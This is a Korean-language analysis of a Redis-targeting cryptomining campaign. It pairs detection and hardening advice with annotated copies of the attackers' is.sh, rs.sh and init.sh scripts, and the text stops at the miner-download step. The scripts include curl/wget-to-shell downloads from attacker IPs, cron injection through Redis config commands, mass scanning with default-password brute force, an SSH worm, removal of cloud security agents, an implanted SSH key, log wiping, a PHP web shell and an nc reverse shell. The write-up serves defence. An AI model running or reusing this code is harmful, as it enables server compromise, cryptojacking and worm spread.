redis_hacking
Redis Hacking
Redis Server Hacking 레디스 서버 해킹
최근 레디스 서버에 대한 해킹이 발생하고 있습니다.
해킹 여부 확인, 대처 방법, 해킹 수법 등을 정리했습니다.
레디스 서버가 이상하다고 생각될 경우 잘 확인해 보시기 바랍니다.
- I. 해킹 피해
- II. 해킹 경로
- III. 해킹 여부 확인 및 대처 방법
- IV. 해킹 수법 1 - 해킹 공격 준비: is.sh
- V. 해킹 수법 2 - 레디스 서버 해킹 공격: rs.sh
- VI. 해킹 수법 3 - 암호화폐 채굴 프로그램 실행: init.sh
- VII. 해킹 방법 추가 설명
- VIII. 해킹 스크립트 소스
I. 해킹 피해
레디스 서버의 데이터를 모두 삭제하고, 설정을 변경하고, 해킹에 필요한 데이터를 입력합니다.
리눅스 서버의 보안을 무력화 시키고, 암호화폐 채굴 프로그램을 실행합니다.
이후 주변 서버에 감염을 확산시킵니다.
II. 해킹 경로
III. 해킹 여부 확인 및 대처 방법
- 1. 해킹 여부 확인 방법
- 2. 대처 방법 1: 레디스 password 설정 -> 필수
- 3. 대처 방법 2: 레디스 port를 6379가 아닌 다른 포트 사용 -> 필수
- 4. 대처 방법 3: 레디스 서버 root로 실행 금지 -> 필수
- 5. 대처 방법 4: 관리 명령 이름 변경 -> 선택
- 6. 대처 방법 5: 기본 설정
- 7. 레디스 엔터프라이즈 서버의 경우
- 8. 한국인터넷진흥원 "클라우드 취약점 점검 가이드"
- 9. 해킹 사례와 관련 글 링크
1. 해킹 여부 확인 방법
- 레디스 데이터가 이유없이 사라졌다면 해킹을 의심해 볼 수 있다. 특히 반복적으로 삭제되었다면 거의 해킹이라고 봐도 됩니다.
- redis-cli에서 config get dir의 결과가 "/var/spool/cron/", "/etc/cron.d/", "/etc/" 중 하나이면 해킹이 시도된 것이다.
- redis-cli로 레디스 서버에 접속해서
keys 또는 get 명령으로 키 이름이 x1,x2,x3,x4, backup1, backup2, backup3, backup4가 있는지 확인한다.
값이 "\n\n\n*/2 * * * * root cd1 -fsSL http://195.58.39.46/cleanfda/init.sh | sh\n\n" 이런 것이면 해킹이 시도된 것이다.> keys x1* > keys backup* > get x1 > get backup1
- 보안 설정이 다 실행되기 전(개발 프로젝트 진행 중)에 해킹되는 사례가 종종있습니다.
주의하시기 바랍니다. - Docker(도커), Alibaba(알리바바), Tencent(텐센트) 클라우드의 취약점을 이용해 공격하는 경우가 많다고 합니다.
2. 대처 방법 1: 레디스 password 설정 -> 필수
레디스 서버에 password를 반드시 설정한다.
아래 password는 해킹 프로그램에서 이미 사용하고 있으므로 사용 금지
root, oracle, password, p@aaw0rd, abc123, abc123!, 123456, admin
redis.conf에는 requirepass, masterauth 설정하고,
sentinel을 사용하면 sentinel auth-pass를 설정합니다.
나머지는 선택이고 버전에 따라 다르므로 굳이 설정할 필요없습니다.
sentinel sentinel-pass는 센티널 서버의 password 설정입니다.
Redis: redis.conf requirepass password masterauth password Sentinel: sentinel.conf sentinel auth-pass <master-name> password # Redis password sentinel auth-user <master-name> <username> # Redis username (optional) requirepass password # Sentinel password ver 6.0.0 sentinel sentinel-pass password # Sentinel password ver 6.2.0 sentinel sentinel-user <username> # Sentinel username ver 6.2.0 (optional)
- Application(WAS) redis connection 부분에 password 설정이 필요합니다.
3. 대처 방법 2: 레디스 port를 6379가 아닌 다른 포트 사용 -> 필수
6379는 공격대상이고 16379, 26379도 향후 공격 대상이 될 수 있으므로 사용을 금지합니다.
6379, 16379, 26379 사용금지
Redis: redis.conf port 설정
다음은 6379 포트에서 다른 포트로 변경할 경우 조치 내용입니다.
- Application(WAS) redis connection 부분에 port 변경이 필요합니다.
- L4 switch(Load balancer) 또는 방화벽에서 port 변경이 필요합니다.
4. 대처 방법 3: 레디스 서버 root로 실행 금지 -> 필수
root user로 실행하면 모든 권한을 갖게 되어 매우 위험합니다.
일반 user로 실행하세요. 추천 user: redis
레디스 서버 실행 파일(binary)를 /usr/local/bin에 설치하지 마시고,
별도 디렉토리를 만들어 설치하세요.
(yum install 이나 make install을 하면 /usr/local/bin에 설치됩니다)
추천 디렉토리 예) /app/redis
# chown -R redis:redis /app/redis -> 디렉토리의 owner를 redis로 변경한다.
리부팅 시 레디스 서버 자동실행 설정: 일반 user를 사용하세요.
아래 redis.service 파일 참조
[Unit] Description=Redis Enterprise Server Wants=network-online.target After=syslog.target network.target network-online.target [Service] User=redis # 이 부분이 없으면 root로 실행됩니다. Type=forking ExecStart=/app/redis/start.sh ExecStop=/app/redis/stop.sh WorkingDirectory=/app/redis [Install] WantedBy=multi-user.target
주의 사항
기존에 root로 실행했던 레디스 서버를 일반 user로 실행했을 경우
파일 권한 문제로 레디스 서버가 실행되지 않을 수 있습니다.
예) appendonly.aof
소유자가 root로 된 파일을 변경하시거나: # chown redis:redis appendonly.aof
레디스 디렉토리 전체 소유자를 변경하세요: # chown -R redis:redis /app/redis
5. 대처 방법 4: 관리 명령 이름 변경 -> 선택
해킹 프로그램에서 config 명령으로 dir를 변경하고,
flushall 명령으로 레디스 DB의 모든 데이터를 삭제하고,
해킹에 필요한 데이터를 넣은 다음,
save 명령으로 데이터를 저장합니다.
해킹 프로그램에서 사용하는 명령들의 이름을 변경해서 해킹 프로그램이 작동하지 않게 할 수 있습니다.
- CONFIG -> CONFIG_ADMIN
- FLUSHALL -> FLUSHALL_ADMIN
- SAVE -> SAVE_ADMIN
- Application에서 위 명령을 사용할 경우 변경할 수 없습니다.
- Redis Sentinel 이나 Redis Cluster를 사용할 경우 CONFIG 명령의 이름을 변경할 수 없습니다.
Redis Sentinel 이나 Redis Cluster 내부에서 CONFIG 명령을 사용하기 때문입니다.
Redis: redis.conf rename-command config config_admin rename-command flushall flushall_admin rename-command flushdb flushdb_admin rename-command save save_admin rename-command bgsave bgsave_admin
응급조치
본 대처 방법 4(관리 명령 이름 변경)을 선택으로 했으나,
레디스 서버를 운영중이어서 대처 방법 1, 2, 3번 적용이 어려운 경우에는
응급조치로 본 "대처 방법 4: 관리 명령 이름 변경"만 이라도 꼭 적용해 주시기 바랍니다.
이 작업은 app 변경이 필요하지 않은 레디스 서버 단독 작업으므로 비교적 간단하게 진행할 수 있습니다.
redis.conf에 설정 후 레디스 서버 재시작은 필요합니다.
6. 대처 방법 5: 기본 설정 -> 필수
- redis.conf: bind 설정 -> bind 192.168.1.100 127.0.0.1
bind 0.0.0.0 -> 사용 금지 - redis.conf: protected-mode yes 설정
- 레디스 디렉토리 owner:group 설정: chown -R redis:redis /app/redis
- 레디스 디렉토리 other 접근 제한: chmod 750 /app/redis -> "drwxr-x---"
- 레디스 서버 설정파일 접근 제한: chmod 600 redis.conf -> "rw-------"
변수 설정해서 사용하는 방법
$ REDIS_HOME='/app/redis' $ REDIS_USER='redis' $ chown -R $REDIS_USER:$REDIS_USER $REDIS_HOME -> chown -R redis:redis redis $ chmod 750 $REDIS_HOME -> chmod 750 /app/redis $ chmod 600 $REDIS_HOME/redis.conf -> chmod 600 /app/redis/redis.conf
7. 레디스 엔터프라이즈 서버의 경우
- config, flushall, flushdb, save, bgsave 명령 실행 시 로그 파일(redis.log)에 실행 일시, 명령, 실행 IP가 기록됩니다. 따라서 해킹 여부를 판단할 수 있고, 추적이 어느 정도 가능합니다.
- 데이터 디렉토리(data-dir)을 별도로 지정합니다. 그리고 운영중 변경할 수 없습니다.
"config set dir /etc/"로 변경해도 데이터는 data-dir에 저장되므로 /etc/crontab에 저장되지 않습니다.
data-dir은 절대 경로로 지정하시기 바랍니다. 예) redis.conf: data-dir /app/redis/data/ - 엔터프라이즈 서버 최신 버전은 "config set dir" 명령이 작동하지 않도록 수정했습니다.
"config set dir" 명령은 아래와 같이 authorized_keys, php 실행 등 해킹에 이용되고 있습니다.
$ cat auth_key.txt | redis-cli -h <ip> -p <port> -x set ssh_key -> -x std input
> config set dir /var/lib/redis/.ssh
> config set dbfilename "authorized_keys"
> save
> config set dir /var/www/html
> config set dbfilename shell.php
> set sys_cmd "<?php system($_GET[cmd]); ?>"
> save
$ shell.php?cmd=nc -e /bin/sh <ip> <port>
8. 한국인터넷진흥원 "클라우드 취약점 점검 가이드"
"클라우드 취약점 점검 가이드"에 있는 레디스 점검 항목입니다.
위에 설명드린 "대처 방법"과 대부분 중복되지만, 확인해 보시기 바랍니다.
- DR-01: Redis 인증 패스워드 설정 (중) -> requirepass password
- DR-02: Binding 설정 (상) -> bind 192.168.1.100 127.0.0.1
- DR-03: Slave(Replica) 읽기 전용 모드 설정 (상) -> replica-read-only yes (default)
- DR-04: rename-command 설정 (중) -> rename-command
- DR-05: 데이터 디렉토리 접근권한 관리 (중) -> chmod 750 $REDIS_HOME "rwxr-x---"
- DR-06: 설정파일 접근권한 관리 (상) -> chmod 600 redis.conf "rw-------"
- DR-07: 로그 활성화 (하) -> loglevel notice, slowlog-log-slower-than 100 (us)
- DR-08: 최신 패치 적용 (상) -> redis-cli -v, redis-server -v 버전 확인
위험도 기준
- 상: 장비의 관리자 권한을 직접 획득하거나 장비의 중요한 정보를 유출시켜 직접적인 영향을 줄 수 있는
취약점 - 중: 간접적으로 접근경로를 제공하거나 정보유출의 가능성을 높일 수 있는 취약점
- 하: 취약점 이용하여 해킹에 성공하더라도 장비 및 다른 장비에 주는 영향 및 효과를 줄 수 없는 취약점
아래 pdf 파일은 한국인터넷진흥원(KISA)에서 2020년 12월에 발간한 "클라우드 취약점 점검 가이드" 입니다.
Redis는 항목 2.11 (274쪽)에 있으니 참고하세요.
9. 해킹 사례와 관련 글 링크
- thxwelchs.github.io
내 redis가 해킹당했다고? 심지어 local인데? - 2021년 08월 29일 - imjuno.com
Redis CTF(Capture The Flag; 해킹 방어 대회) 문제 풀다 해킹당한 이야기 - module upload - 2022년 05월 05일 - blog.wooeong.kr
SSRF(Server-Side Request Forgery) to Redis - 2020년 05월 01일 - thehackernews.com
39,000개 이상의 인증되지 않은 Redis 인스턴스가 인터넷에 노출된 것으로 확인됨 - 2022년 09월 21일 - blog.alyac.co
75%의 Redis 서버들, 악성코드 감염 돼 - 2018년 06월 04일 - synsun.tistory.com
레디스 해킹 시도 발견 Redis server crackit try attack detect - 2017년 07월 30일 - systemweakness.com
Hacking a Redis database — TryHackMe - 2022년 01월 22일 - book.hacktricks.xyz
6379 - Pentesting Redis 레디스 침투시험
IV. 해킹 수법 1 - 해킹 공격 준비: is.sh
Web/WAS 서버에 해킹하기 위한 준비 스크립트 실행: is.sh
- 1. 다운로드 프로그램(curl, wget) 이름 변경
- 2. 해킹에 필요한 파일을 저장할 디렉토리를 tmp에 생성
- 3. 실행중인 스캔 프로세스 등을 kill 시키기
- 4. 해킹에 필요한 라이브러리, 패키지를 설치
- 5. 숨겨진 프로세스 죽이기
- 6. /usr/bin에 있는 파일 내용 변경
- 7. Alibaba(알리바바) 클라우드, Tencent(텐센트) 클라우드 위협 탐지 에이전트 제거
- 8. Masscan, Pnscan 스캔 프로그램 설치
- 9. rs.sh 다운받아 실행
1. 다운로드 프로그램(curl, wget) 이름 변경
이것은 보안(모니터링) 프로그램에서 curl(커럴, client url) 이나 wget(web get) 사용 여부를 체크하는 것을 피하기 위한 것입니다.
# 이름 변경 wget -> wd1 mv /usr/bin/wget /usr/bin/get mv /usr/bin/get /usr/bin/wd1 mv /usr/bin/curl /usr/bin/url mv /usr/bin/url /usr/bin/cd1 # 변수에 넣음. ccdira="/usr/bin/wd1" bbdira="/usr/bin/cd1"
2. 해킹에 필요한 파일을 저장할 디렉토리를 tmp에 생성
tmp에 폴더를 생성하고, 삭제되지 않도록 조치
CentOS 6: tmpwatch 또는
CentOS 7/8: systemd-tmpfiles-clean.service(서비스), /usr/lib/tmpfiles.d/*.conf(설정) 에서 정기적으로 삭제.
일반적으로 /tmp는 10일, /var/tmp는 30일이 지나면 삭제
# /tmp 또는 /var/tmp로 이동, || 첫 번째 명령이 실패하면 두번째 명령 실행 cd /tmp || cd /var/tmp sleep 1 # 스캐너 패키지를 설치할 폴더 생성 # .ice-unix 디렉토리를 만들고 이동 # 정상 디렉토리 .ICE-unix와 비슷하게 만듬 mkdir -p .ice-unix/... && chmod -R 777 .ice-unix && cd .ice-unix/... sleep 1 # 감시용 파일인 .watch를 삭제, 내용변경 if [ -f .watch ]; then rm -rf .watch exit 0 fi sleep 1 echo 1 > .watch
3. 실행중인 스캔 프로세스 등을 kill 시키기
# 다른 스캐닝 프로세스 kill 시키기 # ps x 옵션: 데몬 프로스세처럼 터미널에 종속되지 않은 프로세스를 출력 ps x | awk '!/awk/ && /redisscan|ebscan|redis-cli/ {print $1}' | xargs kill -9 2>/dev/null ps x | awk '!/awk/ && /barad_agent|masscan|\.sr0|clay|udevs|\.sshd|xig/ {print $1}' | xargs kill -9 2>/dev/null
4. 해킹에 필요한 라이브러리, 패키지를 설치
- apt-get 또는 yum으로 필요한 라이브러리, 패키지 설치
- which를 사용하지 않고 쉘 내장 명령인 command를 사용, 쉘 외부의 종속성을 피하기 위해서 이기도 함.
- Libpcap(이하 pcap)은 "Portable Packet Capturing Library"의 줄임말.
패킷을 캡쳐하기 위한 함수모음(라이브러리) 설명 참조 -> joinc.co.kr
# 다른 스캔 프로세스 kill 시키기 # apt-get이 있으면 apt-get으로 설치 if [ -x "$(command -v apt-get)" ]; then 데비안(Debian) 상호 작용 방지 export DEBIAN_FRONTEND=noninteractive # 종속 라이브러리 설치 apt-get update -y --exclude=procps* psmisc* apt-get install -y debconf-doc # Debian package apt-get install -y build-essential # Complie 기본 package apt-get install -y libpcap0.8-dev libpcap0.8 # 패킷 캡처용 Lib apt-get install -y libpcap* apt-get install -y make gcc git # C 컴파일러 설치 # redis 설치: rs.sh에서 redis-cli를 이용해서 해킹용 데이터를 넣는다. apt-get install -y redis-server apt-get install -y redis-tools # Ubuntu apt-get install -y redis apt-get install -y iptables apt-get install -y masscan apt-get install -y unhide # Detecting hidden processes. fi # yum이 있으면 yum으로 설치 if [ -x "$(command -v yum)" ]; then # PowerTools 저장소(repository) 활성화, 패키지 모음 # CentOS 버전에 따라 PowerTools에서 powertools로 변경 dnf config-manager --set-enabled PowerTools dnf config-manager --set-enabled powertools # procps: kill, ps, sysctl 등이 포함된 패키지 # psmisc: killall이 포함된 패키지 # procps, psmisc Update 제외 yum update -y --exclude=procps* psmisc* yum install -y epel-release yum update -y --exclude=procps* psmisc* yum install -y git iptables make gcc redis libpcap libpcap-devel masscan yum install -y unhide fi
5. 숨겨진 프로세스 죽이기
숨겨진 프로세스를 찾아 kill 시킴.
설명 참조 -> www.kali.org
dddir="/usr/sbin/unhide"
$dddir quick |grep PID:|awk '{print $4}'|xargs -I % kill -9 % 2>/dev/null
6. /usr/bin에 있는 파일 내용 변경
- chattr (change attribute): 파일 속성 설정
- lsattr (ls attribute): 파일 속성 확인
- chattr로 수정할 수 있게 한 후 파일 내용을 변경하고 수정 불가능하게 만든다.
- chattr -i file: file을 수정 가능하게 만든다.
- chattr +i file: file을 불가능하게 만든다.
- 일반 user가 만든 파일도 chattr +i를 걸어놓으면 root user도 파일을 삭제, 변경할 수 없음.
- chattr <option> <+/-/=><mode> <filename>
i (immutable) : 쓰기, 삭제, 이름 변경 할 수 없음. root도 할 수 없음.
u (undeletable) : 파일이 삭제되더라도 내용은 저장되어 있으며 복구 가능. Filesystem에 따라 다름.
a (append only) : 파일을 append mode로만 열 수 있음.
- 설명 참조 -> m.blog.naver.com
아래 파일들 내용을 변경
# 수정가능하게 변경 chattr -i /usr/bin/ip6network chattr -i /usr/bin/kswaped chattr -i /usr/bin/irqbalanced chattr -i /usr/bin/rctlcli chattr -i /usr/bin/systemd-network chattr -i /usr/bin/pamdicks # 파일 내용 변경 echo 1 > /usr/bin/ip6network echo 2 > /usr/bin/kswaped echo 3 > /usr/bin/irqbalanced echo 4 > /usr/bin/rctlcli echo 5 > /usr/bin/systemd-network echo 6 > /usr/bin/pamdicks # 수정 불가능하게 변경 chattr +i /usr/bin/ip6network chattr +i /usr/bin/kswaped chattr +i /usr/bin/irqbalanced chattr +i /usr/bin/rctlcli chattr +i /usr/bin/systemd-network chattr +i /usr/bin/pamdicks
7. Alibaba(알리바바) 클라우드, Tencent(텐센트) 클라우드 위협 탐지 에이전트 제거
Alibaba cloud, Tencent cloud 관련 위협 탐지 에이전트를 uninstall하고, 관련 파일을 삭제(rm)하고, 서비스를 중단(stop)하고 disable합니다.
# Alibaba Cloud # Aegis(Threat Detection Service), Alibaba 클라우드 위협 탐지 에이전트 제거 if ps aux | grep -i '[a]liyun'; then downloads http://update.aegis.aliyun.com/download/uninstall.sh | bash downloads http://update.aegis.aliyun.com/download/quartz_uninstall.sh | bash pkill aliyun-service rm -rf /etc/init.d/agentwatch /usr/sbin/aliyun-service rm -rf /usr/local/aegis* # Alibaba 클라우드 위협 탐지 에이전트 삭제 systemctl stop aliyun.service # 클라우드 모니터링 에이전트 stop systemctl disable aliyun.service # 클라우드 모니터링 에이전트 disable service bcm-agent stop yum remove bcm-agent -y apt-get remove bcm-agent -y # Tencent Cloud elif ps aux | grep -i '[y]unjing'; then # Tencent Host Security(YunJing) 제거 /usr/local/qcloud/stargate/admin/uninstall.sh /usr/local/qcloud/YunJing/uninst.sh /usr/local/qcloud/monitor/barad/admin/uninstall.sh fi
8. Masscan, Pnscan 스캔 프로그램 설치
스캔 프로그램
# masscan이 없으면 다운받아 설치 if ! [ -x "$(command -v masscan)" ]; then rm -rf /var/lib/apt/lists/* rm -rf x1.tar.gz sleep 1 $bbdira -sL -o x1.tar.gz http://45.133.203.192/b2f628fff19fda999999999/1.0.4.tar.gz sleep 1 # masscan을 컴파일해서 설치하고 원 디렉토리 삭제 [ -f x1.tar.gz ] && tar zxf x1.tar.gz && cd masscan-1.0.4 && make && make install && cd .. && rm -rf masscan-1.0.4 echo "Masscan Installed" fi sleep 3 && rm -rf .watch # pnscan이 없으면 다운받아 설치 if ! ( [ -x /usr/local/bin/pnscan ] || [ -x /usr/bin/pnscan ] ); then $bbdira -sL -o .x112 http://45.133.203.192/cleanfda/pnscan.tar.gz || $ccdira -q -O .x112 http://45.133.203.192/cleanfda/pnscan.tar.gz sleep 1 [ -f .x112 ] && tar zxf .x112 && cd pnscan && ./configure && make && make install && cd .. && rm -rf pnscan .x112 echo "Pnscan Installed" fi
9. rs.sh 다운받아 실행
레디스 서버를 해킹 공격하는 스크립트 rs.sh를 다운받아 바로 실행한다.
# rs.sh 다운받아 바로 실행 $bbdira -fsSL http://45.133.203.192/cleanfda/rs.sh | bash
V. 해킹 수법 2 - 레디스 서버 해킹 공격: rs.sh
- 1. 리눅스 보안 무력화: Selinux Disable
- 2. 방화벽 port 6379 허용
- 3. 레디스 해킹 스크립트 작성(레디스 명령)
- 4. 레디스 서버에 작성한 스크립트 실행
- 5. 현재 서버에도 채굴 프로그램 실행
- 6. 흔적 지우기, 생성했던 파일들 삭제
1. 리눅스 보안 무력화: Selinux Disable
setenforce 0 2>/dev/null # selinux disable ulimit -u 50000 # 오픈파일 수 설정
2. 방화벽 port 6379 허용
외부에서 6379로 오는 것은 막고, 로컬(127.0.0.1)에서 실행한 것만 허용한다.
iptable -I: insert, -s: source address, -j: 해당 rule에 해당하는 패킷에 사용할 target 정책을 지정한다.
iptables -I INPUT 1 -p tcp --dport 6379 -j DROP 2>/dev/null
iptables -I INPUT 1 -p tcp --dport 6379 -s 127.0.0.1 -j ACCEPT 2>/dev/null
3. 레디스 해킹 스크립트 작성(레디스 명령)
기존 데이터 모두 삭제
해킹 스크립트인 init.sh를 다운 받아 바로 실행할 수 있도록 cron에 등록 -> 매 분마다 실행
/var/spool/cron/root
/var/spool/cron/crontabs/root
/etc/cron.d/zzh
/etc/crontab
# 레디스 해킹 스크립트 작성(레디스 명령) echo 'config set dbfilename "backup.db"' > .dat echo 'save' >> .dat # 쓰기(write) 에러가 발생해도 계속 진행하도록 설정 변경 echo 'config set stop-writes-on-bgsave-error no' >> .dat # 기존 데이터 모두 삭제 echo 'flushall' >> .dat # "매분마다 해킹 스크립트인 init.sh를 다운 받아 바로 실행"할 수 있는 데이터 입력 echo 'set x1 "\n\n\n*/2 * * * * cd1 -fsSL http://195.58.39.46/cleanfda/init.sh | sh\n\n"' >> .dat echo 'set x2 "\n\n\n*/3 * * * * wget -q -O- http://195.58.39.46/cleanfda/init.sh | sh\n\n"' >> .dat echo 'set x3 "\n\n\n*/4 * * * * curl -fsSL http://45.133.203.192/cleanfda/init.sh | sh\n\n"' >> .dat echo 'set x4 "\n\n\n*/5 * * * * wd1 -q -O- http://45.133.203.192/cleanfda/init.sh | sh\n\n"' >> .dat # config set 명령을 이용해서 레디스 기본 dir를 /var/spool/cron/로 변경 echo 'config set dir "/var/spool/cron/"' >> .dat # 저장 파일명을 root로 변경 echo 'config set dbfilename "root"' >> .dat # 저장 echo 'save' >> .dat # 레디스 기본 dir를 /var/spool/cron/crontabs로 변경 echo 'config set dir "/var/spool/cron/crontabs"' >> .dat # 저장 echo 'save' >> .dat # 데이터 삭제 echo 'flushall' >> .dat # "매분마다 해킹 스크립트인 init.sh를 다운 받아 바로 실행"할 수 있는 데이터 입력 echo 'set backup1 "\n\n\n*/2 * * * * root cd1 -fsSL http://195.58.39.46/cleanfda/init.sh | sh\n\n"' >> .dat echo 'set backup2 "\n\n\n*/3 * * * * root wget -q -O- http://195.58.39.46/cleanfda/init.sh | sh\n\n"' >> .dat echo 'set backup3 "\n\n\n*/4 * * * * root curl -fsSL http://45.133.203.192/cleanfda/init.sh | sh\n\n"' >> .dat echo 'set backup4 "\n\n\n*/5 * * * * root wd1 -q -O- http://45.133.203.192/cleanfda/init.sh | sh\n\n"' >> .dat # 레디스 기본 dir를 /etc/cron.d/로 변경 echo 'config set dir "/etc/cron.d/"' >> .dat # 저장 파일명을 zzh로 변경 echo 'config set dbfilename "zzh"' >> .dat # 저장 echo 'save' >> .dat # 레디스 기본 dir를 /etc/로 변경 echo 'config set dir "/etc/"' >> .dat # 저장 파일명을 crontab로 변경 echo 'config set dbfilename "crontab"' >> .dat # 저장 echo 'save' >> .dat echo 'config set dir "/var/spool/cron/"' >> .dat echo 'config set dbfilename "root"' >> .dat echo 'save' >> .dat
4. 레디스 서버에 작성한 스크립트 실행
Pnscan, masscan을 이용해서 6379 port를 찾아 redis-cli로 해킹 스크립트 실행
pnx=pnscan [ -x /usr/local/bin/pnscan ] && pnx=/usr/local/bin/pnscan [ -x /usr/bin/pnscan ] && pnx=/usr/bin/pnscan for x in $( seq 1 223 | sort -R ); do # IP의 첫번째 부분: 1 ~ 233까지를 x로 설정, sort -R random for y in $( seq 0 255 | sort -R ); do # IP의 두번째 부분: 0 ~ 255까지를 y로 설정, sort -R random # pnscan을 사용하여 6379 port 스캔 $pnx -t512 -R '6f 73 3a 4c 69 6e 75 78' -W '2a 31 0d 0a 24 34 0d 0a 69 6e 66 6f 0d 0a' $x.$y.0.0/16 6379 > .r.$x.$y.o awk '/Linux/ {print $1, $3}' .r.$x.$y.o > .r.$x.$y.l # ip port만 추출 while read -r h p; do # redis-cli로 해킹 데이터 입력 cat .dat | redis-cli -h $h -p $p --raw & cat .dat | redis-cli -h $h -p $p -a redis --raw & cat .dat | redis-cli -h $h -p $p -a root --raw & cat .dat | redis-cli -h $h -p $p -a oracle --raw & cat .dat | redis-cli -h $h -p $p -a password --raw & cat .dat | redis-cli -h $h -p $p -a p@aaw0rd --raw & cat .dat | redis-cli -h $h -p $p -a abc123 --raw & cat .dat | redis-cli -h $h -p $p -a abc123! --raw & cat .dat | redis-cli -h $h -p $p -a 123456 --raw & cat .dat | redis-cli -h $h -p $p -a admin --raw & done < .r.$x.$y.l done done # Masscan 이용 masscan --max-rate 30000 -p6379 --shard $( seq 1 22000 | sort -R | head -n1 )/22000 --exclude 255.255.255.255 0.0.0.0/0 2>/dev/null | awk '{print $6, substr($4, 1, length($4)-4)}' | sort | uniq > .shard sleep 1 while read -r h p; do cat .dat | redis-cli -h $h -p $p --raw 2>/dev/null 1>/dev/null & done < .shard ... 더 많은 내용 있음 ...
5. 현재 서버에도 채굴 프로그램 실행
sshd(ssh daemon)가 없으면 init.sh를 다운받아 실행
if [ ! "$(ps -fe | grep '/usr/sbin/sshd /tmp/ipss'| grep -v grep)" ]; then if [[ $EUID = 0 ]]; # root then wd1 -q -O /tmp/ps http://195.58.39.46/cleanfda/ps wd1 -q -O /tmp/hxx http://195.58.39.46/cleanfda/hxx chmod 777 /tmp/hxx rm -rf /tmp/sshcheck /tmp/ssh_vuln.txt /tmp/scan.log /tmp/ipss masscan 172.16.0.0/12 192.168.0.0/16 --max-rate 30000 -p22 --wait 0 | awk '{print $6}' > /tmp/ipss nohup /tmp/hxx 50 -f /tmp/ipss /tmp/ps 22 'curl -fsSL http://45.133.203.192/cleanfda/init.sh | sh; wget -q -O- http://45.133.203.192/cleanfda/init.sh | sh; lwp-download http://45.133.203.192/cleanfda/init.sh /tmp/init.sh; bash /tmp/init.sh; rm -rf /tmp/init.sh' >/dev/null 2>&1 echo "Finished" pkill -9 hxx else echo "no rooot" fi else echo "runing" # sshd 실행 중 fi
6. 흔적 지우기, 생성했던 파일들 삭제
rm -rf .dat .shard .ranges .lan 2>/dev/null
VI. 해킹 수법 3 - 암호화폐 채굴 프로그램 실행: init.sh
위에서 설명한 실행 파일 이름 변경(감시 피하기), Alibaba Cloud, Tencent Cloud 모니터 agent 제거, 필요한 라이브러리, 패키지 다운로드 등 중복되는 내용은 설명에서 제외합니다.
- 1. 보안 무력화, 로그 삭제
- 2. 경쟁 채굴 프로그램 죽이기
- 3. CPU를 40% 이상 사용하는 프로세스 죽이기
- 4. DNS에 nameserver 1.1.1.1 추가
- 5. 채굴 프로그램 다운로드
- 6. 채굴 시작
- 7. 관련 기록 지우기
- 8. 주변 서버 감염시키기
1. 보안 무력화, 로그 삭제
* apparmor: application armor(갑옷)의 줄일말로 애플리케이션을 보호하는 리눅스 커널 보안 모듈입니다.
애플리케이션이 실행 전 행동을 검사하고 실행여부를 결정합니다.
AppArmor를 사용하여 리소스에 대한 컨테이너의 접근 제한
# 보안 무력화 iptables -F # (Flush) iptables의 모든 정책을 삭제한다. ufw disable # Ubuntu 기본 방화벽 UFW(Uncomplicated Firewall) 무력화(disable) sysctl kernel.nmi_watchdog=0 # NMI(Non-Maskable Interrupt) 감시 disable echo '0' >/proc/sys/kernel/nmi_watchdog echo 'kernel.nmi_watchdog=0' >>/etc/sysctl.conf # rebooting 해도 nmi_watchdog disable이 적용되도록 함. chattr -iae /root/.ssh/ setenforce 0 2>dev/null # selinux 즉시 disable, 오류 메시지 남기지 않음. echo SELINUX=disabled > /etc/sysconfig/selinux 2>/dev/null # rebooting 해도 selinux disable # 비밀번호 없이 로그인 chattr -iae /root/.ssh/authorized_keys echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCon+ogu86pIjSVJjPl3aERqrWFI7AvtzMqzTsj9n WNXLHSosyTfJ3PwL4TkG4oicsBvGlgnlYJHSK157LLHGHRYEtzjyMpfeGuAkrrgk47WtJVJajv4XipVHQWZlY k36kJfzQPPWG054FDHPND77BQOwtuy47ZIBm+laXPV3NJ68V7wycOlSFMp4O6VXwC/iYMlsEhrmhEiNJy op6xBDVr6pwhKvUsJrRYmbKaZoK8bDQirQN3NA4j/nCaXoHxw9CvCvMERVtV/mgati+P1/5t7we16lKZXy 5x/KitarrT34D73o8sbHzQeQYih7Bmc972WZalyaGJcw0FlagAPDGFx+XhOS+sQHATBcIZS4/8Apd51903Uh GMoNBjnK7YMYmg+51sbfoNCJ3gehcltaMW1aIUMyFq8PF0yMbjHxPEkIM7fJM7yadgnAS7xYGevXwHY95 SKPtWbZdRK1mEBgnttkO4qOR9QGeVXoCJ0uFjlnYM8oF4OjpyKlPOVI4cDiVBoKG2G7dZ2FS0hhyRWvDJB LWbC4No+Ynz0aTX/YmUv1cxb8zZuq1lbmFX9NR06o6ZhVSxFJhPfnjorILdslFUypUDZUhDF/SMSSG2gg/bj 4rfcxBgunozNZjd6yP449hTlil03civrIv6pokPyNQW1w2vlZ4kX7wAfH/GHQ7SCQ== user@email.com" > /root/.ssh/authorized_keys chattr +iae /root/.ssh/authorized_keys # apparmor stop, disable service apparmor stop systemctl disable apparmor # 로그 삭제 rm -rf /var/log/syslog
2. 경쟁 채굴 프로그램 죽이기
경쟁 채굴 프로그램 죽이기: 다른 마이닝 프로세스를 죽이고, 파일을 삭제하고, 도커를 죽이고, 도커 이미지를 삭제한다.
kill_miner_proc() netstat -anp | grep 185.71.65.238 | awk '{print $7}' | awk -F'[/]' '{print $1}' | xargs -I % kill -9 % ps aux | grep -v grep | grep ':3333' | awk '{print $2}' | xargs -I % kill -9 % pgrep -f L2Jpbi9iYXN | xargs -I % kill -9 % pkill -f biosetjenkins rm -rf /usr/bin/config.json systemctl stop moneroocean_miner.service systemctl stop crypto.service docker ps | grep "pocosow" | awk '{print $1}' | xargs -I % docker kill % docker images -a | grep "pocosow" | awk '{print $3}' | xargs -I % docker rmi -f %
3. CPU를 40% 이상 사용하는 프로세스 죽이기
kill_sus_proc() { ps axf -o "pid %cpu" | awk '{if($2>=40.0) print $1}' | while read procid do cat /proc/$procid/cmdline| grep -a -E "zzh" if [ $? -ne 0 ] then kill -9 $procid else echo "don't kill" fi done }
4. DNS에 nameserver 1.1.1.1 추가
DNS(Domain Name Server) resolv.conf에 1.1.1.1(Cloudflare)를 추가해서 다운로드를 용이하게 한다.
nameserver(){
grep -q 1.1.1.1 /etc/resolv.conf || chattr -i /etc/resolv.conf 2>/dev/null 1>/dev/null;
echo "nameserver 1.1.1.1" >> /etc/resolv.conf;
chattr +i /etc/resolv.conf 2>/dev/null 1>/dev/null
}
5. 채굴 프로그램 다운로드
